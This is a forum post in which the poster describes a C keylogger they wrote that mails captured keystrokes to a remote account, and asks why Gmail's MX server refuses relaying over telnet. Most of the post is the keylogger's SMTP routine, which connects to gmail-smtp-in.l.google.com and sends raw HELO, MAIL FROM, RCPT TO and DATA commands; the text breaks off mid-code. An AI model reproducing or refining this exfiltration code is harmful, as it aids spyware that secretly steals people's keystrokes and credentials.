)
Please clear me the concept.
i've a code written in 'c' which is actually a keylogger which can send the data to a remote machine.
It has win32 API and socket programming.
Now in the code the smtp server has to be specified. Suppose i'm specifying that of gmail.com (MX: mail exchange server)
the code works fine and send the mail to my gmail account.
Now the question is....if i telnet to same SMTP server on port number 25...it doesn't allows me mail relaying. Why so ???
Code: Select all
#define cmailserver "gmail-smtp-in.l.google.com"
.....
.....
strcpy(line,"[b]helo[/b] me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"[b]MAIL FROM:[/b]<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"[b]RCPT TO:[/b]<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"[b]DATA[/b]\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
